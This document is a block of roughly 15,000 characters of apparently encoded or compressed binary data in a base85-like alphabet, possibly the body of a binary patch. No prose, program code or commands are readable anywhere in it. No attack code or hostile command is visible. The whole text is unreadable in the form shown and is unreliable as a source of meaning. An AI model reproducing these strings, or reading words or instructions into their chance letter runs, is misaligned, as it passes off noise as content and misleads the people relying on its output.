zg+}($JcQMJwd!UExfE~i^~OZF3;by>`llr9pU(<6+!R0WM!tuSR2+ngzR1?l=p};o zX1CDgSmB|q@#Jn`d2f#>zs|kJQBFNaj^wz>CnS4F^=U+=Z0*`*vVDD5JbQfN>D>Iu zqfh2&ar}(cHunZ^3l1M}|AI~~yqVQhk75|Mx!wV^O=~wda2I!$)rjxzb}kDCe^v`W z3Vywn|JoG(#c;V;BFOCxVvcvd+`pDD#9Lp|0Do5qb@kPT25FixTZpt72O8ovj{H}0 z6uI9&pB0XOC=S`UyXlOr*~HfcrfluNGs6O<}!Ig+6B|8)a8#2s=9cU zGVq4SZL`0d(8gsetXxk&h}zyT3@7@WX>LjEUpFxZjL?h zuQ&Ykh!N3OB!zvi;9v63XNCRvE^OoSuDP4F8~nu-$?T@N&K297ce``_B>f&2meLPG z-9gsG@O5FCqa;Ut%?=UL`9~|Uv%0vb;x6!~@``fVKc5x$pX0(D*FW5O@6#@|lQM^{ zjn;Ff*UR&elj(<84@)JS0tv0NV$$a##n_9{cNg%_XN6r{|I^0ZPUoN|Dkk)8M?yKd zU4MI2`?|vJ=IW6!r z-H{RsBQ5ClrwwZ9c2!G?!dxMsr7oCNXCg8E6nXjTpU(fdLtW2AR|1d530GTzkt z#8m`$fj^ZOl*|74tg!za7v{MB;m&)XdhPq&-I~-Tvz&Un>u$Ha!;vHFcEVPBeHVBO zu-ryglG;}R%0ygW|jBQ2z;?Qp&P408#(&iAKw!g7i`xf0nzjt@?-Eg4aX#{hX zze|FCgp5e<)bwvVT4+>_5kaZQL>XZWjP@SL71{`C%huN06tM z$!%b-E|a@SO1O`Z+hu|AlyH9sm9X8cc-;WsUz&QeEdOCb{ivT}EP4pbKhiC&t8W}C{Gx{970<(y27stthPUpX=LrfMPm5pv%;xI`S-n!zMS&!vvDDq&l$lw#2l#>z-uzu#dj=l^8tbV>5gJY zt_N^cLt9A*LJf9b)ec!dUh_kN;4h=Po~4ea0i0@Bk)W@kLVt5dp(9ts%A|%Wsv6ci zss^O0Se>w6K*cT_+cwM)y4VsXc4h2sq=4cVdXK83tNrTO ziTc{2%u{Tyf9AGy>qR^UL#so#*OoyDqX}IcrehN;)L%kB_i7%UpmfO&ab=W_OUCR~!d{)?hjtkqkS#yX1w40hOWSgJ{pO}7{ z-vI%hNa#biZ~@@mY{W{{rUy?RT|j{+5@N!;MTa*za{>jPNQenfpA9uM`OLyJ3Ox}K zlio{J(~A}@#+moRqiO7(EUeb(0PuZwEKSPy?UM0JYAM;pwByyhSpzpDOUY3gIo-vy z-R)9pIrv>p5gH1()eih~URbe7x$2+K3VV-9lF=l0?Whnp7dZ#4#e{%v@4%gKhj#W+{8K=_`FUIZl-A)y43`?wtSW+qM!H0JJ{D zY-tA zX4sT=LInh21m!Pmb#!{xu2%aNoz`HFQ>N(3_0NNTr7S z(idhr)weyNWJ-XQ3`v4Jz(H1V{BYlU^A@3cN%$R(9mbi%}UiHXZlJV)L6Dvh$w zSMf9M@{3Oy2UKNjlVW45ad(LlI>NX+eiwH*mD*1L*KQ|9I5V|1(2GFLvum8uZ&ilI z+&Uye~*w*zqHX8=MRV50S za>t5`l{_uJT-BV)cxNnot5URKpJL~?U3$)`71Em(7mdbKMG5-qpU(<6-evCN`0hx> z0Vt&0%c5Pn``)S;O>I2uystCtx2i_fv5BdP$#S`Ntejs8D|7ee9=-^5=<_Be$@b^gi-GFwyL<22C5dVHP|F8_8TBPkr5@$fEOwLb%R5WH;%J-E5$@k~p?z0|-dJnOj z^xcJJi(#gE*)vM^Zkx>ZtQ2ov-W0)}g@tdY@TclnVjsO(+UeTnM8*sB^0@JMfk4*3 zYho5#u=X3Di$)B}W%{F7xPNEUuzQC8X`jctde|-YM52b@b@w3XJ!2tZw@!0Z@Usgv zyF};M#dO_E@#kd%E5$(N*$5o_*Ex0hvsT9E4qs&yM!=Y{s%op6jE8V% zRFi2{iAlZwWwBa^nm<#&hk#ozZYQ>zZdxkzxWDL4*Y0@W61N+++eQ^|i=yleAmtE! zx8xW0;AaF+@Pb?3_JiG8-nL#Vt`=(-#;WDQ^I`2!LEQeMN#}2~gUu^FHOYrqGP^>s z6Vm#wovYR})dO-vuwE(G%7yZ(d>wy4T5av6GpqS%e4pDgV8q;R z1?jKG67^kurd$b(JV8k&%m?~w?iZMBtOYYQvIYA`R(Bsfzq736)3rDCm^UoE~h6lyfis#FSBX}P~(J*?D< zh5Bl~60DV%!UI8`_GhjVQl`bt_HyD}zF3p@KYjoB;lsgFxfBM)+M%8F@>hWY$n+j0 zryN$(*V30)Dq2TUrk%f?E+ZCJ%d)~^d+migBVUlN;WSC*OiFK{{VP$_`I4NhNuv}MAF;bpk*7!U2&deHij`R9s3vSXIv}CY8dS(&_=Fx zl~*DxmX^Zv0ZGHhp2YLbxxPXA9UJ72tMgP_rZI6;y{MIgrF<QG6y-rBQB}qxFqK&7+N|J2~~!4 zPsq!?=PY^8k*4~%KSs%c`0bP4@;Ip*l(8! zvGgv*C6Yq{d9zcc)#CG^lu~Mye5txtq*k(W=>WBhMXL2x;`GXu5YZaj1C%%Wdklwdm-a=49>$hYg%9*&)wTF}wl*?xaoOdI}8Z;d7) z(|+ah7K0jHoGSwSH#RtIDy{raN$ z+l$L<>zwn^`?Tu@M`Jh0rF!b?@w}mgsiR;*Wke|VQTh-A3CSk72JH`2WIC?ek~E^3Sg|7h~ZV=?^mS>ZT#9OAhC5nquI z5_o;GRC~SiKKmZ+olmHqRpwOXhut~<(^sz&7fHo-ylyJnYPVYvjEHzM` zv*e6fbnT2E+d{vArDGKI`pmm_`fz>nFXlRh@8x{&M`0uncct;bDGxWq?Pw%vv&y5d z=$ADVDy5(P(yEQACihg+m}8nOK&IOCIg*ma$i4pgtg!nL|C8hThkuR2NXpeGbhg*; zLNLc$Ww*Tp$&kFnTU6|wg zhdXaSkt|A|*4l2fyKhsk_H0UTY0|A}qfPG)W=i`P>rMD^sYhiQQmgiFeiW;nKhuYQ zJ}aEQhre@N|479_G9`U(Z@W#GzA0@LGmOfCm2Fo*Nfk3h;NEPye1F#`6t5S1d8wYE z$(e=2tbc@UN(Y?FOr;`(Zqz(m&#PH8&g;S66?|YE%;Ug6Xrl|gq5iSM% zO5Y{So6&8pi|w1@4@6*Oq7SP?_Xtr&IeDQLvNg1tBGK9n+IgPbz7 zvy=5Uk#C9xi?ql%UuA?#;oKn>JVWbWwPn4Vg7P&iDIcho`G^rNg>vuA%!#8<&^Yh; z^y!T-e5aj6eBs=j|sNZ*uPvAT z^I2j4IWBDDip2hX_BssGCya1Skg^9wLMjp?Bb`x^Ug50t=zNY^LfH-w4D_`uEFaEr z(G2uSBV5WreVS8Kb0{=LSY(>VRGLwSM7BA5at_8gMOtK>$5ou3akibkZ%TRT1dGcD zYGOZWgi9s%-LdN|m)c6|n?h5BMW$)D5=znBtLJ%1t~qm&>)~n0&{p*t%Ty&u4}G=eV$qD+9{?`|Ncf zZQG&HPH;QOVz+_0@XYKq4owjio2EYYcyDg{#MI2hiQKW7g@t3&9W&2Y2WI)&wK`2) zrq!XA!ZXDZEe=&Y6I3tIa>Hx9G6!wMP+JWTQf0iz>maQbmrHBBGIT&HzmEO`*fdLt1L3^Eh?h3b;}cKkc)yI?iBrc}=uXhQ zB{-fxzgDcTxji<@BTDVrOTnN_k>$19iu~;gs6xRdUk?0`S%OuKvDeIH3)+)#NlaEv!pfb*3BVNiv zcO5->{P@WeVwNm>C(3*YXg(A_oB}0Z?e%;4laEv!Aeb@)mKII3657_X8yii3;pxd! zkKuUItkI@GX!Y@?3feg=v?4dQ)ymM<2CI$6>def~<)&ulCnk?gvt74z1)I_ZH6fk= z+8O9Oy6|8=4W0%oomlO_yBxJS?B#Ye%O!i!uGlhR8Zmqft)kqrPBWh z?+1~q(d%5xLj$O5F{qcS)OpDLi=~=d(kS)1ZhntDZ9bLvmka*+tZ?#4iRX#n{(Uws zJli1x_z(%Z+mWShN-LcpdW&q^@X*0U+S%IbYKeF4;@_dY8Tz<+ABc|gHljC0k#gSs zvDcsGPd?mv`w8?~B4R^vd-$x?`gKn0XUnU!UkWWD-zoLqDe8|Nn{5Zr5HuiQ7h?x+ zFjjzU2O?sl9mu+0q=3i{BEQ-xJ9w$*2BL>290BhG+~WrDCVT@B5gQC(XWh#0Cr4CWQhqfm>Y`5cz^gT^+K8QPn9#zmhPDO79y*9p5NK z#0I0_Qo+5vPG8heuv#uHccP)d6btUXC$m_<>!A0zFSvlOb`h~b?NTfdy+>8V$Q5+T z08-_GCYJEl-nWFe<6DA=*k}n{E=XEJ3;9LrZd~!85Ze0^RU;y1Rtu1*Z_4~Jy%_!oy+M3 zukh2)_ye6tKzjq*%o3-dFQs4V@f=h(-Bk<&=(R+|24xS|b5x4jG*y47_f`EN{B$iM zHmI7iMJ@@Yb$#zWok`ZVI20%AFYA3>e;K~6MZ^YO@66Rpxz&3Lqz%%-aJ^KN1!?>d zD34lq<)5Rt_E3D8T=CCmh21m!PaF5cbndJC`)nK_Klx!JUTVb8(CSly(k7x#B$-Ps zV0;A&%7@RH!ayuV#0KLWDnu;X>d75^_CD^CcZc%Ia>+lR6?V_?KW*Hv54Zs*Sc=84zEdF37ZAV zu&i%NCH|d{oz6WqJvTpd@&pUsi6Q-02Ft7E#r&$9O&id2zn=aBvB)g$k(dpKRqHo6 zHK!r~z1BAxQPV1ZqT?#gezH`C9IUf z+E|_D0u^f)#?IY8e)#aAf*^b}sd#G&o7bMnKj@C6DDthJuf^x>av0lZa`Oul3#aDk z%I<27<~S9C%-(5wm-uzAc-CKca1-iquuG1_Mj#?KFdm*iJ~96!o!;XC*1In+jqsu1 zDYDc2B281{#rzh|2aEMHXTnOrzfUtkgD_uM;TdeDQn(rfB+-5Jzv~Vv=65lEH*2Ru zpx4q@q8Xm+j#A@&WK*1-D)_qa7=Z7&M+TKY0jd*`Wk z%c~Pk(B@6k^IT}V+;*|g^AL;qY8d2~mMUSjs(K1uC;mW&XlWY{_r7h&9<|A86ulIb$%}{$wlT6C)@U&<5_MQAcOxQp{KvjiT)EpZD)EA9 zdQC2KzrC}+8b3lp3Y&)WejGoXdX#_PE9r~uS(=IilqU7fUq{yKmiy4za&f68_G=yX z1Evxl(10nY0oQ8NTmwuf5o3@Zk;0Zm-9MidPCZJ#+PII>7rP)_A{LOACXA>KrELSb zl2eD>T6XR{wQ7*~BW(ZU546-6Rzl&P7`rnmstRPY+y)2bt6-t0RWL)~?Q&E?`a+I@@;l;F;pGAUe!Ug-|6YOnFUS*rdZjsM0BH+ zVaFekh5}cPRw zjR!-Ys}yTtHJ~oVKxS}LfwLT(<_^W65-t~MPryp`kZib+!+MWIvx;Nwe_EBWrtCy% z|0lulCfi|Ytl62GnMk1 zZpiP)dXIJu`2!^O=N0t;sYIWUyysl;tvT^CIqC_fw`jKH;pLEkphvb3MWbPO87%$N9Y@>zrQYwb-0;-#8^c5^~uKlWluC%=VdWMj#6Vse${$>g`O z-k{xN^1C#SY7je_{GOgn>^@*LNx#Um^xJFI9vS7vZ@7;|4B7LY@@x~H1GB|RgT(e^skI&Bq`O;D_#{t?ap&H~XGzfu{{_1M^T=fm5oxFp> z_`$=pd7&>6IRiJ+@#TjD8|~hM_cVz%?xNj)@V+L|?s3r`JorG9X!lYy`dJ!eRa~Qe zw0+sk=*$BQk$e#QEK~0%kM_`$0jsTgfNq^J*D5q3Ib`Q%bX7edclggMl&p|t7_J+*XqEeOvS zLVDywPcE`#bT=!6ZZZqck$Ba$VztU`8hoJ=7Q*7XG;v5xuv9J`jOB7VS<7Dt3i&z> zD5;j$!eG5preUjVRhDhWxN-ZoP9|cLU*$rI7q z|BKk6%GE0+{}8g z-1uHnT>cd->6?IN*iI4sze?bLTTu#*BKm(_O#s_yjKSllXJ+YD+H*dak^*9297-NO zysU8Y4)e{#?f)H8!0-F_*|f2k+}2Y&yb zWE=exo0RWPq>TQ7cJkfh6Gxr3x5{w;8q0X@&@){Bg~aCn221RAZT|1b=GmsaiL;U> zfNcKnvu%E67TM94>lIoApzWgO0B2=5-23+HmOtO{T5SIV+(!x|e4F+^FifKFfwupF z?W+9`^JrGKep5$nIclk6eH8SQ16N`x`&CIxB{Eg&8i~3O>{ugii7b@Y)~FTF4L_pM zM*+RgRamdnuI*k!qF;|~yVt6=%gqFH3+=n^E8Sp?T5&C;&Y*NlL2@j`HXDnS>K_Uy zzWgE67)wp=)L=*Lq_*L}4)Wm^z4efq_Nd=%DO{zN12Up03SH%IwsFuj5br!!TwUc> zSZRCZc6@Fbq_+)5=P2fdV1eG@pczLrXDxFd@!beu#v> z8B6$f(@{X8-=UZXjvfYX&rU~2+fPTXv4KtYLOKy8+B%0N3aQgS6hwUaOD{bI70Q(* z>VIK73U+!)=B{Aw=v?HjsoEJzH@KubiA>HQkOWsQ6zUbW!MjN!9L4pe#(YphmtKNW zeQlAw%9$XUl=uxsvEHEFRCJI;KdhJtjxq)gWu~H;4fGf6w*3Wb)P&PC5e;z+P9ff* z0OG4Fl!o#p>d2&?Udmxe9L|o|S|~N#efVxR8tE%_`4mTU1sv|Gqop`&)SbD!BIYHJ zsqWjV5iUqJrJhE-GeWQ)-p97Tc3r|B3d&>tMYeeY{O3!e(B zRA;4SN2%Gdd2W3m@Z-ka29k^Wmu6|RK$$l=K%>i$ur$#iYtdB%JI!_EpD6(#>#3T0B*IsZNz3rJz>R#Yol%I9q)-+}OXKJ2V;QdQ=grEs1U z_749(Jca4o&2yUtr?3~B!rn;=v%4!N)C!cs-eqme%4bv9E?cUYJvqm#=(jiO?S+uU zzL+#-_jpCs*avit*(CO&)7XbdV|Ir`RE_Doi|#NQJ1*;?wwJbDy!avwZ~X#oH~R ze+?y-ug5Mwe68x-Y*JZRI7Z;xODfl;lFCCtt=6z8Wg9izL=B?syVs+BLorzO-i zEKf-h^p%mkH1H|1r1s=mPaayK~o2G|PV-aZAv3)D0md`4R#Zl(Kx2dUR zyD4XHWXRvn$g#QP;igu#@Ma1hw*O1cbny7dBF6yg#p8B)qY44qSH5$x8 zdiXq+3EfPDX|8U8g^hcVc}JUim8AVnENR;{`0pXnzh6-(kima%GlSpAqTZc0c+&X5 z4`QkP8qY|LX-YBkhp?n<*EoNK0RI@aasH@koV$%Trd=%`69cssq?V(wJ8hw#lZwnT zRYPdKh)S58l}>qkG;iI^RzDO-e5$8#Q9xEVkooJim3)n7t5;~n0vcvyC%Yfod5TX} zSL$UdDHK-1!t-<=-E3FED^{vBK8Xe+6w0Mqg^CpXP-#&VoBSsb<@P;fj`E!Zhd0%wbih+lwjrzIgp%K=Aq16s^Umh6nyZ*bFb zBs0mMp>eI0rL13wGbu`NcDa@MIteM0D|k()#A9~4#~cc5z9owW$__e~|SQhvM`a%G*DLLv`Et&ePKqh|CU z2Ww^e5~(4-S}lve`g5$;YS#n&HEHA@usy)vsQKHq?1Eoh9^jXfrW$zwS{6*gZUGmU za%J5u%>l?dTgg0^)*pym0X;9_3Zhnqs0iC3SMX0*Y35*(ui^^W=GYZ*qNjwz)4YLP zS(|BokY?!)UIm@z2S?O2ztgNuZ8O&Pnz#>pdHq>C=&o8R90=T(rD{#f_=iZhe6(oX z<0#wRqxcIQgYr`Jn&S4C|Fq@VtUxvJgOL)&iRNu}X{n$#6Pb zB%oY-!PZ#Ao%S48K&diXSSha4DycQj8w+*L^zNcOBNtwd;y*A<^%_ zc15?Uu4o76xKjKe@LQh9xGwwm2QJ=4FxA*YNI7MW*9VPOh`a<35idcTQ+ z;n9<{BG*Y?f<17fzh~cpykU33u(! zuRCo&H(hx8-5t&ZQnCOkd8g%KCA17jW~PqkPV!0(5FACwq@W@%5XW6cyi{u5#vCW+ z4x@k+DX~HBZU%B31*Axc4bm*RSDEKB5aI0F;;LtB?)zeEg1@98h}=Yw$L+ zJZ~TisOUBa)CjW?n|q0|IAoi<%pb-4xrI6yPd$u~=hlcVY?K zuCd*XZ)~HgPaC2Yd^?(nj$$crA1_PHtEoCOb9K|vV4NqCjUPTtlXqzE=78kp=|n(f z&UTIO75K(?KsCNWS_PMocg)irz|!AKcnw_IERhC4u>BR6t27wXSQ;%V+l!VqhHq(h zsoqqcI>ft>cGA??X9Bs3+gxw6zYl2A4wbB3SPvVDcCv`c z>}+{jruCZ)m)4u^Mep}Yd`oDJ;$>D7T= z`_QQp4cVk!x_M_{TH7RD-({zGYHHSVi4#~akVw|ntP&sA?2hs$ABl@ly3m(OA34P< z({;45WeQ7$hkYC5)qLBq!fC8mXx9oKH#UfDg-@77l5&LGjy{o_oS0|q9cy=)!P4PX zcCj1h0(m8oK3d=($z8W=XUFjE?0BY~&Ck5Pqjq*2ONV#3RTMbir8!yoQYl=GUEW%L z-PAo!V2RzX>B)8&Mz{0=@c~rmd7Wx{!@Q1XdsUC2(ZWi45wU@Sv=ziJ9EB7Z?iy`h zf#hCZVqGAw?HO65u|@_1q{4Qsae?9U;fUK$pjSC%#7kwkY>jPpb9BraPhsi!M&}y^ zMamwZ!jiRJdwg1q5!xQ@b~=hZwmFccWA^wAmX2?A_82dR7?%|Tl9l$t=|vy;27H@* zF4IT0*+17Yn|uyS$2U2fG^-z`oa7s^gl*SJz6swT^QuAeQt<7!)^yA!^H^%8Qe?eS zpq;|~rW{j>T*Q*JU4vZ0H^?y4AbE$g_L>hnW{@G4ns1rqJ?nW4zRR!Oa4ut&v;kKy z=G!ayR$0up%C`cD7BLiN#Cbtc6!<5R;Bl1Df&*g%&yrgB{_v=xfsvddLNeD z?HcG8;~S{Hqc7Lw$w23(HrYNufTicdk$qazRM(hKR_;HD^$P8ps%$)MoE5!5d;nEo zKcxCnYpSO=yMg{g#0Ut^c-mC;?F*8&`ej(}(5|h17~iehUBOcYQqK3yZd9A>SHA*F z(J!@=X6^1*cK)KD;eRET!0lS*SL0jeM>4%ATjpkG_&~dv^Vn0G%}v|Q$|f>gnNQB` zHkJ5~_NHaZ=H^EA^aAk#l!bk)nPqNz{{Asy1Oz8IT`AILBTY^7>##&_*J*wOzSI0h z)ig(r&(Y433!Io*_9}5CcPPn_FKwqT7}~*J7R31keFw6>geo({cW>w7euCri5nV6= zpx64O5ieCr8z!~RPO`9_(CVIGo%hmPT%~=$MYW%#2Lmy1>f-lJgylr)k5#8|!&dF5 zRMl>0)y~eI?AYX}y+K%#iNEXX>*Y}N`zd19EahX)TRHWUktKn)`sL?svGx5es=m1ZHgkgK;&(*hFLBPiF;#y{?`v5QVr%(Z zRW0wDnadqLdE&8SGej4Tn@9qdmb2<4~FHu-u&}dp{g3Q+-Ny+YGC0@`Yub^KkuujB7xfPB!a_y>^be!+;B z%IUewo^-r$be6?#nc)3*Q(l)Zj|B8E$+f>g-+%yIj2jnd%8UMg_TB|NlH@oK91MUN z0E2n#o4d>9HXpmhE=N0$eQ-GBE*Aq}cHqSTLja>)YH!tQpnGOo+voj<%O_DUi|0`HqbA=(B!uJGp|hJCsRxoPGtw&=twvi>CVv(;u8$F2GX@*!mke|K0wVvjNd>IscR@=Sf>H z!!F-03i>{?Ygm!=PxZf~4UB$E`lnS%Q;F{CQpi}r4y_6x*Prfx*&5*dmhI1|vNgLM zmy6w-7Jay|*eJ|aYNcD1a$$P?jVb7BJyEz)E7^IHpXq;D8zB9b_1{xvP38FF<%QL* zEqmNwXl=n_Cisxu*s587?=&O!_xfMb21dUn{j;j1(R6fXxwv#`4xL(dr3?0EnDwl- ztEC$31I8uJ#%2W;H^EGSY*0Sm|Kk2UVu=@GCN7Ug5 z_FE5rUe$xcRu5qLYjLi7t6xup4MV-$NfBmhRb2HB72)UmUl9z-ek;N+sER-p!tDGC z=mOSc-I!i^2k8MUhTy6f)CLupCyi7GrUv+h{ujJK)o;Q716Aehg{+Ie+7YxvT>%tdQT{tRq;pMrxt}UNDT(H{kMy0Y@fN|dSsL8_@`d{P*PrpU} z4^@#IJ~#pTeI9nqG92)21jKck`{ul0VA#!-Z zr^w5re#UQG_MCp#xDoFB;(XWoT!+mfX#vlMvDE#fb!BAzrQc;$nOFi7rNA;uAMu;v}g`AhvTX9J?& za{d?F%ek9_rvy3wi~g6h0nu+c|E?>yd&&E`| z%|gcS_P?|ZlzvP5_f%;gHqt&nzgT=_x_f;vJ6gsWk+AOmz5bW7fzWR$|4UWMwv9%M zg!#pnKn`75z0idGFZ*A}20_1t{I66YA2CH4XRv!-mj6}%i`ii4x0wI6D(0g`%*MK? z=W_nn{V!(&qTh1#X%%e*kXvRa%@xzQe^6Cm&`d`8ZKEEaW zf9VpQzhsVcEY5e$s`F@Jc57qfR^bZl*#jpE1(5FV_rHXHAK}9bK1E(0^|}7QvgfQh zP6iU5x!5%sKU|n;)Z5KQE$~qWw%YB+Iz$uzoj-s-kAS(IMMwjt-}3&$4)T7fd-8s) zFkf$1nswNGb+y^pf~}aPI`}0tZf7Hs|HJ;5yn)qk$^Qpc@`t#jzw}bq3i^YEm%y^% zM(NhqpDs+5E1O{b2fxd9=k0&!e_hzb-CJl12?>egQ)-1 z{}MNF`YrMQtV%rSN_WxI;IYDT=?2b-Y?cBaM*q40Wo!WSTgLylD&xud`Nf$F^Os_}sg@OwIo1R=9; zCGbXYXB&n2W|`+-;a$cjg+uBvgtYPsQ%uMsx&2pUGbXpm8`TdN@x1XOIPd_L3FeN) z=P^xgPr@^-453`rDs`6OFrku8h6k+@JV}{`Eo1a6xJ92e3~vjPY`}i56A3?Md{Q`` z%jQFRz8o5lB>mrz#h9cIqomDo-2+h@d>jFapDbd&izEzsB!KcjT?Fo(|a??l2+8J`r6 z=jx~0@&C1-#h}hEz4})8paXD()BMUZge-a;OUpQkuEkQ~0uw=hsO5kqF_lR&J}E5e zIgGUO;&{4yRAl}?WHVM|4s31_?&&J2dl_~vE7wakmH>-%dkG*i5sG1Wgaeyp)ro|k zGCnCB&(%+*1HURRrDIq+c$jtb;`FQVk!gF1gMv~7-=@_o)k?XzP+e=5n$=3{#2g$K zhwHE>w%S!V{`J<08_%9PdGe`i`}Pfyma#Td1tmqWIuOC!O&K~n!?*Cwcgkk z{Sl;a(6Aghk?>Q-Cxzp=`bqaE?PodDLO5?d=!3R0Xn_x__#XuP2Yt{tvJk+LWC0BN zpjimuXtDqXeb6ifa7-1zC{9ab^J}{<9ak;~>-_20V(wBAAIFJ@dhz1Q3ZR~D?&skt z^r|qoT7ctmtZ`w%K4JMJ_kp-&KVT`Tw-Q@H#`x$k!5qcAva)=VvhdCF&cDLDj86)O z)L{r|a@| zN#S^|e(K!bV?T?F0IhkBVdn~6ro+djtlTC7aj}GWg0(}jlDJANWqeXt(sLMT<;C%I z_o%Ski)_XU3t_(#lb8YaJ6>qMPsM)H>iz1g#q$RLv}Cg^f{XAHU+r~WUP1_1=Cj-HOz%rRPc~BJ?b%tjz zEiI!1{M+pe4~iHW^mWtx>>*WR6Sh|{s1yC`LO;B%zy@`qm6%6ko;RxkJ47XHP$&9V z#2!&4Ml*4%s|%^yu=|1;0^UNURr;?MdFrO5K`8w^hZ#CDC7x+iH)z(V(2w{_=T^!>_ zQI=tNzJo0OjFG{c6|zAEkho85N>z#pyTyN?6;NK{mxav6Cxzp=`e`NY2~{i1H?bQI z{y+kNyHy-*?-CuEBIA?7lAgmzD=&^0cYW90pFeRKPNQ#~xUx~IZI+ttYPocxT)AGU zH8#<2?TJ#e{7R$Qy_vL?O7nW-g!%u}`sSwL??u5S1o1oI<{NO#B<~nC-*EP9sogHE z!|~A5kZ!wO#r7!E(mm}L?Jq=(3@Dpcl z;^`rxhO<}~=5Er_Rt4N&tX4NF%~ODBa$iOky8TnU#E*hf)Ci*^@sdV{4WaXo(jSB9 zvkGngDw@#$CqSE(TBX$T64Lhpr0??*QsRnN3fT%}aj7`H_|gJ;HS5Y5gmE@$y4(%%9x-JDoV3&`+t*EFOhYQgHw7V+ zB;%99{0w;~T6Ej>tui0c9ZW%J^Lw^i7`b%Dd`EeD@qmhQT z;vb-Y836sHmwXsp+ro-SFgvK($LkJTrHehIR>N(FKd=%ls z3;2>(-o^M)%M+JSt_L?tH@$Q^a7XEa!#~wc4e2b-f^5S~KRR zRvg+V4teN(_tpYw|9b}KTdjy09n#3d?#%E2&?E<;rVm3af!G(LMIi^!ak;*BgtXI` zRs_pzoP!iJ+7}A6#)>QW83bf}QaB(M0isP>63V-@>kC2wn&;q4JVf&yh$>zJXbk3! zrr|4AcLv??gemtyRoOt7%lq`Tv;!$;+69WEIG@E+x;*3&bFq%rm*0~`}h5pZ?!l!~LN*SU4#O5RdtI2yng^2JPuyFLT{tr^dNzfx^hf>SZtH>yvq z8x~&_j6x7U18&^KQWK+*VI~t#4~T_hnJ6FQCi4ke!j5Bj7I%HEicv>7p6>LJko$?L z)|KY*!df-xJo1=v7!sV^^5-yQk-tSafm4RgP)ZsZ7LN&nly0_8Dzskc3C#sF&n$-4 z?h``+MSvH7E8V>igFf{%4yCz>6C@Sj^?_g>uLkpZwTeCZGng_7z6w7P%1KyMf)ofS z-*1v-d{S6Ghr>ks7~b*Xc)ELmtzj*+MUqzsAX1ZI5V7anhsb0sb zW2X|ZPS?*A+l411vjyD5j?-*yfsdRGged~s%o!+{nv60&DJ8W) z-)3|S-4!HJ#JC<6KBI*4Cnh@oEIwft8JVl=4vOpwi9R&erndO>eu*; zuVF5R?3 zqkIKfpD8o-L(}j2;c0{vFCXg%!(6P|HT46-+7I=^GZtY#F*eM_Fg9cGO0(I(Zm-YP z!gD@jYnY2+JBICBwQfe>>2~ROGwyx?w4v;4ZSj7~7!QSM!t@BD4gR{O;h;)z7X=@X z4)eRL(=Hfk;}MsTlNaWB`i|G)sNy_GWb~773Rosd#wUgO8S+lF=%H;><|7&}x^)|t zF-H)#HH3A{^UcNvu*>-AYnft}^rR~Za(0K4Affv%oD%{6T`<03LGcEe0e#KJYZi;FW{RZ9+M>FlfwKAc_-R$g18@(`H02~(SNgL%n|(|EQ7{OV6_3< zGI|{)|H2L>A1cO;Qn>syLICk=`KMlBF}1sTfKPPZJ%apUytovRnp7E|6c&#Of<*hX z5b+Ncz{zNENJL%0e zJU7J;&;o`_M^KINg9N%5R8Tb(GCnEnJWAvnngof_`C<_&A4=TN;Zzb^-J!%Dh)E13 z@`Nj=!z?G0O5kKHod-ZVF5U%n88@HvRS(Y9H%QnbS^CRUe{wMlX87Z-#-i_ z5h!|AGTsK*lO1N{g`cbI!{Xny)T2cq0@l&`(^z_n0tY?KDA>8YqYE9 z+*bO*nm3q(+mN9}UoqD`ha6a$e`#?VosK8$tPn%7yQhG-c>0z3<+G340lEAw7qSU@cClK4V6_v!~R)GZnBLJZGcK7W30xwtU5_|obHcmy2)(ucLkRVq zfd;}Af3(nW>1#pO?ffi+{%E1Mrjn?Ix(Q#(wPLaJ&yS%nDk@)CkBiHT=36)D+tFIF zz^RvTq5PmJ2j86(DgKAqwQMUS_8=_+-sy6!gIJ_Blxc`E|4s^Xy1Yy2$b3ZOg@nkvCo6iw!g{J@ zS|OpMfrQd8&r0MltRQAcWPDQCeHK3t>G^VKypV>zSe15JRtR9wQEU`98s+MhYQzaj z%ufQgC%R#B%Jo=*`Cvel2JL6D{KZU_ceEZmz`TAHIx6WkTsIFl6(EmTxHh!X5i7Br zfOkriQ6?mYrugraj(gbHx%asppRm?&62g$6zW1q^8p*Sc)l08D+(CgM53iRwhDmC;zxZMTd zldKr>241%TITlnT6o4=2Y$V-#-@CxYQ}9PCF341HCugnZc2)kcJw{abIUqduC2V6?@G*6Rj86&& zm52xs?aL6Q?Q6-qx>>ONIoRJD=zr68Qg-Tc;O)WUGi?$NmY@qC+A7uC)%Gp6E#X&l z-;%IP5D%t0lwn=C62?pj86(ndJYpU?2y^_y39xEc}r5?9COE#d{`DIvwJvE zf}IN&LM5m&mRu3uP6rl~%CN2mx1^ZA?22GPsUT0e^*v}1Yr)&QGZjbOl z26A=cl{_jvlZT&e6S@>>dRU{8e;%h?yeTLbm3rAJ72Gm(badg(KpLGo{CN+t-%`uK z;Q;#sQy#aIw#0@_$z_HM%4$xc%DF7L28J`rU$3|{M`!R_88!{ge<=r5B z-16io{%wN))&P9RrwezRSRVYkm{Fi65k$%nT*j^W_W=i=@lbf*-%a67POV=nHLaU2 zmJ^qo12&0tRuhtfj-i(ENnv_yg&j85e?I|LYyg~naD(K;oZ0UNbS}U#9&{;oM82!^c{{nFROCGBFKTuH*r(2uB z0SWzw`7Z`Ob0gnNzuA{=I>mC)t7P?wLcdK1#*>QG#Ys38F zik~aCSOa~KvcVhOOH@{4{5*$7f!a{W_@uD&D4Fk{!;e3Z`G_{}3hOs4PYfot5>YXl zg}I%I(VH>F9|6+;)kEa}SVcZ;DuMz8{HH59_s86(;gP#sUbv$)$zIdMdA!*=P22Zp z@Jaulha&m!DMZ4n)agXhN1p6JKUB|i1sab$4ew(FkdVUS1~LPGnQ;as~^XeE1r)UFnz<* za23Pz2;&)8&w2=G!An35S1~}xz*lhh+m(0c*?gf);Edm5NRL!7~a+ex--VRc4&$(>V<(`C;N2@mX~zD zig$qeK*!^L;sUgFABjhIYF00l+>gJAfcS3Jgm*dDh@U&mq*HhGMTyl<1NKxT5v z_@uCW1&5JVUK~&Ne8r(}%^vBz^F)-9L93gh)z#f7?hNQ%>TNpT67X&;o3TmVoe5^p z1KOqsbfyackI@z#ZhYBlBf34usaYc?b~4Q}WMh)TlAgmzD=&_xd%k-79^@>h$K&a@ zhKL${(8bie5eI$xvntdF)9wcu0Nud_aRBstRiMX%>2N4`+Zap>oR0)P<3OkoW2JGW4XdLNukG1LW9WNNA@Z21 zlgCeTchl&P)b*sWQx;^t1DFRdho(mYHm?g`MHc3Fvl^T|%ORxE7c516vdGh5h33s* zCalmF;bx^(X@^PWb~F3|5(|HX^*g#nieJ}^u)Aw}x3cu6C}&ZA_$G5GN&g|G8pp;D7Z 